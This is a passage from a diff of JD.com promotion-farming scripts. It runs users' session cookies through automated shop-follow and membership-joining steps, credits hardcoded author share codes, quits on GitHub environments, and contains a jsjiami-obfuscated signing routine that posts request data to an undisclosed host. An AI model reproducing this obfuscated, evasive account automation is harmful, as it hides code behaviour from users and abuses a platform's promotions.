_0x343f54===_0x48d0e2;},'\x4b\x53\x44\x54\x4a':_0x219b('‫38'),'\x79\x6a\x7a\x42\x46':function(_0x3b41cd,_0x4dfdef){return _0x3b41cd===_0x4dfdef;},'\x56\x43\x49\x4c\x59':_0x219b('‫39'),'\x5a\x66\x64\x58\x6f':_0x219b('‫3a'),'\x6d\x46\x69\x67\x6e':function(_0xb6e3d8,_0x23686f){return _0xb6e3d8===_0x23686f;},'\x7a\x74\x63\x78\x63':_0x219b('‫3b'),'\x48\x54\x41\x44\x44':function(_0xb2175d){return _0xb2175d();},'\x53\x67\x6d\x58\x56':function(_0x5c652b,_0x377eb0,_0x40b9c8){return _0x5c652b(_0x377eb0,_0x40b9c8);},'\x66\x6e\x41\x6b\x69':_0x219b('‫3c'),'\x6c\x64\x51\x6f\x6d':_0x219b('‮8'),'\x4d\x4a\x52\x70\x47':_0x219b('‫9'),'\x4d\x43\x68\x4a\x56':_0x219b('‫a'),'\x58\x69\x4a\x72\x57':_0x219b('‮b'),'\x6b\x4a\x62\x63\x68':function(_0x43c66b,_0x13d811){return _0x43c66b(_0x13d811);},'\x77\x49\x6a\x61\x4d':_0x219b('‫c')};return h5st=await _0x5c8438[_0x219b('‫3d')](geth5st,_0x5c8438[_0x219b('‫3e')],_0x6a4f96),opt={'\x75\x72\x6c':_0x219b('‮3f')+h5st,'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x5c8438[_0x219b('‮40')],'\x41\x63\x63\x65\x70\x74':_0x5c8438[_0x219b('‮41')],'\x43\x6f\x6e\x6e\x65\x63\x74\x69\x6f\x6e':_0x5c8438[_0x219b('‫42')],'\x43\x6f\x6f\x6b\x69\x65':cookie,'User-Agent':_0x219b('‫14')+$[_0x219b('‫15')]+_0x219b('‮16')+$[_0x219b('‫17')]+_0x219b('‮18'),'Accept-Language':_0x5c8438[_0x219b('‮43')],'\x52\x65\x66\x65\x72\x65\x72':_0x219b('‫1a')+_0x2eb643+_0x219b('‮44')+_0x5c8438[_0x219b('‫45')](encodeURIComponent,$[_0x219b('‮1d')]),'Accept-Encoding':_0x5c8438[_0x219b('‫46')]}},new Promise(_0x215897=>{$[_0x219b('‮21')](opt,(_0x52284b,_0x327a7e,_0x1bb051)=>{try{if(_0x52284b){if(_0x5c8438[_0x219b('‫47')](_0x5c8438[_0x219b('‫48')],_0x5c8438[_0x219b('‫48')])){console[_0x219b('‫25')](_0x52284b);}else{console[_0x219b('‫25')](error);}}else{if(_0x5c8438[_0x219b('‮49')](_0x5c8438[_0x219b('‮4a')],_0x5c8438[_0x219b('‫4b')])){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}catch(_0x55bfed){if(_0x5c8438[_0x219b('‮4c')](_0x5c8438[_0x219b('‮4d')],_0x5c8438[_0x219b('‮4d')])){console[_0x219b('‫25')](_0x55bfed);}else{if(_0x52284b){console[_0x219b('‫25')](_0x52284b);}else{res=JSON[_0x219b('‮26')](_0x1bb051);if(res[_0x219b('‫27')]){console[_0x219b('‫25')](res);$[_0x219b('‮30')]=res[_0x219b('‮31')];}}}}finally{_0x5c8438[_0x219b('‮4e')](_0x215897);}});});}function geth5st(_0x1103d7,_0x586621){var _0x430883={'\x51\x54\x44\x47\x56':function(_0x1e7d03){return _0x1e7d03();},'\x55\x66\x63\x6b\x66':function(_0x5ab017,_0x2b8838){return _0x5ab017*_0x2b8838;},'\x77\x47\x79\x73\x6d':function(_0x5935c8,_0x185779){return _0x5935c8!==_0x185779;},'\x65\x50\x69\x61\x4e':_0x219b('‫4f'),'\x6a\x65\x65\x6c\x4c':_0x219b('‮50'),'\x75\x55\x62\x72\x6a':function(_0x1a5aa8,_0x52ae2c){return _0x1a5aa8===_0x52ae2c;},'\x67\x44\x42\x75\x58':_0x219b('‫51'),'\x6f\x54\x41\x6e\x4b':_0x219b('‫52'),'\x62\x76\x78\x6e\x42':function(_0xa50297,_0x6b8ce2){return _0xa50297(_0x6b8ce2);},'\x48\x52\x45\x63\x64':_0x219b('‮53'),'\x75\x7a\x72\x61\x4e':_0x219b('‮54'),'\x48\x4f\x70\x44\x51':_0x219b('‫55'),'\x6c\x73\x6b\x70\x45':_0x219b('‮56'),'\x68\x4b\x79\x4e\x43':_0x219b('‮57'),'\x51\x6d\x4f\x72\x54':_0x219b('‫58'),'\x75\x42\x74\x6e\x47':_0x219b('‮59'),'\x6b\x59\x50\x46\x52':_0x219b('‮5a')};return new Promise(async _0x255c7d=>{var _0x373d32={'\x73\x55\x46\x44\x4e':function(_0x16c255){return _0x430883[_0x219b('‫5b')](_0x16c255);},'\x45\x47\x68\x47\x77':function(_0x2bd73b,_0xef9125){return _0x430883[_0x219b('‮5c')](_0x2bd73b,_0xef9125);},'\x72\x56\x55\x6c\x59':function(_0x3d06bf,_0x4e3e01){return _0x430883[_0x219b('‫5d')](_0x3d06bf,_0x4e3e01);},'\x57\x45\x75\x42\x52':_0x430883[_0x219b('‮5e')],'\x71\x66\x47\x4c\x74':_0x430883[_0x219b('‫5f')],'\x52\x44\x76\x57\x6b':function(_0xd1e750,_0x1d575d){return _0x430883[_0x219b('‫60')](_0xd1e750,_0x1d575d);},'\x61\x53\x65\x47\x43':_0x430883[_0x219b('‮61')],'\x77\x53\x4e\x50\x77':_0x430883[_0x219b('‮62')],'\x73\x76\x6a\x4b\x48':function(_0x2a1cfb,_0x46f22f){return _0x430883[_0x219b('‮63')](_0x2a1cfb,_0x46f22f);}};if(_0x430883[_0x219b('‫5d')](_0x430883[_0x219b('‮64')],_0x430883[_0x219b('‮64')])){$[_0x219b('‫65')](e,resp);}else{let _0x30ff4={'\x61\x70\x70\x49\x64':_0x430883[_0x219b('‮66')],'\x62\x6f\x64\x79':{'\x61\x70\x70\x69\x64':_0x430883[_0x219b('‮67')],'\x66\x75\x6e\x63\x74\x69\x6f\x6e\x49\x64':_0x1103d7,'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x586621),'\x63\x6c\x69\x65\x6e\x74\x56\x65\x72\x73\x69\x6f\x6e':_0x430883[_0x219b('‫68')],'\x63\x6c\x69\x65\x6e\x74':'\x48\x35','\x61\x63\x74\x69\x76\x69\x74\x79\x49\x64':$[_0x219b('‫2c')]},'\x63\x61\x6c\x6c\x62\x61\x63\x6b\x41\x6c\x6c':!![]};let _0x2be600='';let _0xb852e3=[_0x430883[_0x219b('‮69')]];if(process[_0x219b('‫6a')][_0x219b('‮6b')]){if(_0x430883[_0x219b('‫60')](_0x430883[_0x219b('‮6c')],_0x430883[_0x219b('‫6d')])){_0x373d32[_0x219b('‮6e')](_0x255c7d);}else{_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x430883[_0x219b('‮5c')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}let _0x1ba80c={'\x75\x72\x6c':_0x219b('‮72'),'\x62\x6f\x64\x79':JSON[_0x219b('‫f')](_0x30ff4),'\x68\x65\x61\x64\x65\x72\x73':{'\x48\x6f\x73\x74':_0x2be600,'Content-Type':_0x430883[_0x219b('‫73')]},'\x74\x69\x6d\x65\x6f\x75\x74':_0x430883[_0x219b('‮5c')](0x1e,0x3e8)};$[_0x219b('‫74')](_0x1ba80c,async(_0x46941b,_0x74988f,_0x30ff4)=>{try{if(_0x46941b){if(_0x373d32[_0x219b('‮75')](_0x373d32[_0x219b('‮76')],_0x373d32[_0x219b('‫77')])){_0x30ff4=await geth5st[_0x219b('‮78')](this,arguments);}else{_0x2be600=_0xb852e3[Math[_0x219b('‫6f')](_0x373d32[_0x219b('‮79')](Math[_0x219b('‮70')](),_0xb852e3[_0x219b('‫71')]))];}}else{}}catch(_0x290dbf){$[_0x219b('‫65')](_0x290dbf,_0x74988f);}finally{if(_0x373d32[_0x219b('‫7a')](_0x373d32[_0x219b('‫7b')],_0x373d32[_0x219b('‮7c')])){_0x2be600=process[_0x219b('‫6a')][_0x219b('‮6b')];}else{_0x373d32[_0x219b('‮7d')](_0x255c7d,_0x30ff4);}}});}});};_0xod2='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customized6.js b/jd_lzdz1_customized6.js new file mode 100644 index 0000000..8a7e0b7 --- /dev/null +++ b/jd_lzdz1_customized6.js @@ -0,0 +1,643 @@ +/* + +超燃好物 七夕献礼 + +*/ +const $ = new Env("超燃好物 七夕献礼"); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +let cookiesArr = [], cookie = '', message = ''; +let ownCode = null; +let authorCodeList = [] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { }; +} else { + let cookiesData = $.getdata('CookiesJD') || "[]"; + cookiesData = JSON.parse(cookiesData); + cookiesArr = cookiesData.map(item => item.cookie); + cookiesArr.reverse(); + cookiesArr.push(...[$.getdata('CookieJD2'), $.getdata('CookieJD')]); + cookiesArr.reverse(); + cookiesArr = cookiesArr.filter(item => !!item); +} +!(async () => { + $.getAuthorCodeListerr = false + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + // authorCodeList = await getAuthorCodeList('https://gitee.com/fatelight/Code/raw/master/lzdz1.json') + // if($.getAuthorCodeListerr === false){ + // authorCodeList = [ + // // '980f55cfc5494ff895ddf9a3b2d3ff3b', + // ] + // } + // console.log(authorCodeList) + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i] + originCookie = cookiesArr[i] + newCookie = '' + $.UserName = decodeURIComponent(cookie.match(/pt_pin=(.+?);/) && cookie.match(/pt_pin=(.+?);/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await checkCookie(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + // if ($.isNode()) { + // await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + // } + continue + } + $.bean = 0; + $.ADID = getUUID('xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx', 1); + $.UUID = getUUID('xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'); + authorCodeList = [ + '80495728593b420e9c2c96d5b19075d5', + '532d2dd0ab7c49a7a4a878cdb7bb5ecc', + 'e3a7a35a86de4ae7a12d1c853ecf53be', + ] + // $.authorCode = authorCodeList[random(0, authorCodeList.length)] + $.authorCode = ownCode ? ownCode : authorCodeList[random(0, authorCodeList.length)] + $.authorNum = `${random(1000000, 9999999)}` + $.randomCode = random(1000000, 9999999) + $.activityId = 'dze0668f104033b575c2d4dec24d5e' + $.activityShopId = '1000004123' + $.activityUrl = `https://lzdz1-isv.isvjcloud.com/dingzhi/highRed/active/activity/${$.authorNum}?activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&adsource=null&shareuserid4minipg=${encodeURIComponent($.secretPin)}&shopid=${$.activityShopId}&sid=&un_area=` + await member(); + await $.wait(3000) + if ($.bean > 0) { + message += `\n【京东账号${$.index}】${$.nickName || $.UserName} \n └ 获得 ${$.bean} 京豆。` + } + } + } + if (message !== '') { + if ($.isNode()) { + await notify.sendNotify($.name, message, '', `\n`); + } else { + $.msg($.name, '有点儿收获', message); + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + + +async function member() { + $.token = null; + $.secretPin = null; + $.openCardActivityId = null + lz_cookie = {}; + await getFirstLZCK() + await getToken(); + await task('dz/common/getSimpleActInfoVo', `activityId=${$.activityId}`, 1) + if ($.token) { + await getMyPing(); + if ($.secretPin) { + await taskaccessLog("common/accessLogWithAD", `venderId=${$.activityShopId}&code=99&pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&pageUrl=${$.activityUrl}&subType=app&adSource=null`, 1); + // await task('wxActionCommon/getUserInfo', `pin=${encodeURIComponent($.secretPin)}`, 1) + await task('highRed/active/activityContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&pinImg=&nick=${encodeURIComponent($.pin)}&cjyxPin=&cjhyPin=&shareUuid=${encodeURIComponent($.authorCode)}`) + $.log("关注店铺") + await $.wait(1000) + await task('highRed/active/saveTask', `activityId=${$.activityId}&actorUuid=${encodeURIComponent($.actorUuid)}&pin=${encodeURIComponent($.secretPin)}&taskType=1&taskValue=1&shareUuid=${encodeURIComponent($.authorCode)}`) + await task('taskact/common/drawContent', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`) + await $.wait(1000) + await task('highRed/active/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&actorUuid=${encodeURIComponent($.actorUuid)}`) + $.log("加入店铺会员") + // console.log($.openCardList) + if ($.openCardList) { + for (const vo of $.openCardList) { + $.log(`>>> 去加入${vo.name} ${vo.value2}`) + if (vo.status === 0) { + await getShopOpenCardInfo({ "venderId": `${vo.value2}`, "channel": "401" }, vo.value2) + await bindWithVender({ "venderId": `${vo.value2}`, "bindByVerifyCodeFlag": 1, "registerExtend": {}, "writeChildFlag": 0, "activityId": $.openCardActivityId, "channel": 401 }, vo.value2) + await $.wait(2000) + } else { + $.log(`>>> 已经是会员`) + } + } + } else { + $.log("没有获取到对应的任务。\n") + } + await task('highRed/active/checkOpenCard', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}&shareUuid=${encodeURIComponent($.authorCode)}&actorUuid=${encodeURIComponent($.actorUuid)}`) + // if ($.openCardStatus) { + // console.log('去助力 -> ' + $.authorCode) + // if ($.openCardStatus.allOpenCard) { + // await task('linkgame/assist/status', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`) + // await task('linkgame/assist', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}&shareUuid=${$.authorCode}`) + + // } + // } + // await task('linkgame/help/list', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + + // await task('linkgame/task/info', `pin=${encodeURIComponent($.secretPin)}&activityId=${$.activityId}`) + // console.log('任务 -> ') + // await $.wait(2000) + // await task('opencard/addCart', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // await $.wait(2000) + // await task('linkgame/sendAllCoupon', `activityId=${$.activityId}&pin=${encodeURIComponent($.secretPin)}`); + // console.log('抽奖 -> ') + // await $.wait(2000) + // await task('highRed/active/saveTask', `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.secretPin)}`); + } + } +} + +function task(function_id, body, isCommon = 0, own = 0) { + return new Promise(resolve => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + + if (data) { + data = JSON.parse(data); + if (data) { + switch (function_id) { + case 'dz/common/getSimpleActInfoVo': + $.jdActivityId = data.data.jdActivityId; + $.venderId = data.data.venderId; + $.activityType = data.data.activityType; + break; + case 'wxActionCommon/getUserInfo': + break; + case 'highRed/active/activityContent': + // console.log(data) + if (!data.data.hasEnd) { + $.log(`开启【${data.data.activityName}】活动`) + $.log("-------------------") + if ($.index === 1) { + ownCode = data.data.actorUuid + console.log(ownCode) + } + $.actorUuid = data.data.actorUuid; + } else { + $.log("活动已经结束"); + } + break; + case 'highRed/active/checkOpenCard': + $.openCardList = data.data.cardList; + $.openCardStatus = data.data; + // console.log(data) + break; + case 'highRed/active/saveTask': + console.log(data) + break; + case 'linkgame/sign': + console.log(data) + break; + case 'opencard/addCart': + if (data.data) { + console.log(data.data) + } + break; + case 'linkgame/sendAllCoupon': + if (data.data) { + console.log(data.data) + } + + break; + case 'interaction/write/writePersonInfo': + console.log(data) + break; + case 'opencard/draw': + console.log(data) + break; + case 'linkgame/assist/status': + $.log(JSON.stringify(data)) + break; + case 'linkgame/assist': + $.log(JSON.stringify(data)) + break; + case 'linkgame/help/list': + $.log(JSON.stringify(data)) + break; + default: + // $.log(JSON.stringify(data)) + break; + } + } else { + // $.log(JSON.stringify(data)) + } + } else { + // $.log("京东没有返回数据") + } + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + }) + }) +} + +function getAuthorCodeList(url) { + return new Promise(resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + $.get(options, async (err, resp, data) => { + try { + if (err) { + // $.log(err) + $.getAuthorCodeListerr = false + } else { + if (data) data = JSON.parse(data) + $.getAuthorCodeListerr = true + } + } catch (e) { + $.logErr(e, resp) + data = null; + } finally { + resolve(data); + } + }) + }) +} + +function taskUrl(function_id, body, isCommon) { + return { + url: isCommon ? `https://lzdz1-isv.isvjcloud.com/${function_id}` : `https://lzdz1-isv.isvjcloud.com/dingzhi/${function_id}`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: $.cookie + }, + body: body + + } +} +function taskaccessLog(function_id, body, isCommon = 0) { + return new Promise((resolve) => { + $.post(taskUrl(function_id, body, isCommon), async (err, resp, data) => { + try { + if (err) { + $.log(err); + } else { + // console.log(resp); + if (resp["headers"]["set-cookie"]) { + cookie = `${originCookie};`; + for (let sk of resp["headers"]["set-cookie"]) { + lz_cookie[sk.split(";")[0].substr(0, sk.split(";")[0].indexOf("="))] = sk.split(";")[0].substr(sk.split(";")[0].indexOf("=") + 1); + } + for (const vo of Object.keys(lz_cookie)) { + cookie += vo + "=" + lz_cookie[vo] + ";"; + } + } + } + } catch (error) { + console.log(error); + } finally { + resolve(); + } + }); + }); +} +function getMyPing() { + let opt = { + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + headers: { + Host: 'lzdz1-isv.isvjcloud.com', + Accept: 'application/json', + 'X-Requested-With': 'XMLHttpRequest', + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded', + Origin: 'https://lzdz1-isv.isvjcloud.com', + 'User-Agent': `jdapp;iPhone;9.5.4;13.6;${$.UUID};network/wifi;ADID/${$.ADID};model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1`, + Connection: 'keep-alive', + Referer: $.activityUrl, + Cookie: cookie, + }, + body: `userId=${$.activityShopId}&token=${$.token}&fromType=APP&riskType=1` + } + return new Promise(resolve => { + $.post(opt, (err, resp, data) => { + try { + if (err) { + $.log(err) + } else { + if (resp['headers']['set-cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (resp['headers']['Set-Cookie']) { + cookie = `${originCookie}` + if ($.isNode()) { + for (let sk of resp['headers']['set-cookie']) { + cookie = `${cookie}${sk.split(";")[0]};` + } + } else { + for (let ck of resp['headers']['Set-Cookie'].split(',')) { + cookie = `${cookie}${ck.split(";")[0]};` + } + } + } + if (data) { + data = JSON.parse(data) + if (data.result) { + $.log(`你好:${data.data.nickname}`) + $.pin = data.data.nickname; + $.secretPin = data.data.secretPin; + cookie = `${cookie};AUTH_C_USER=${data.data.secretPin}` + } else { + $.log(data.errorMessage) + } + } else { + $.log("京东返回了空数据") + } + $.cookie = cookie + } + } catch (error) { + $.log(error) + } finally { + resolve(); + } + + }) + }) +} +function getFirstLZCK() { + return new Promise(resolve => { + $.get({ url: $.activityUrl ,headers:{"user-agent":$.isNode() ? (process.env.JD_USER_AGENT ? 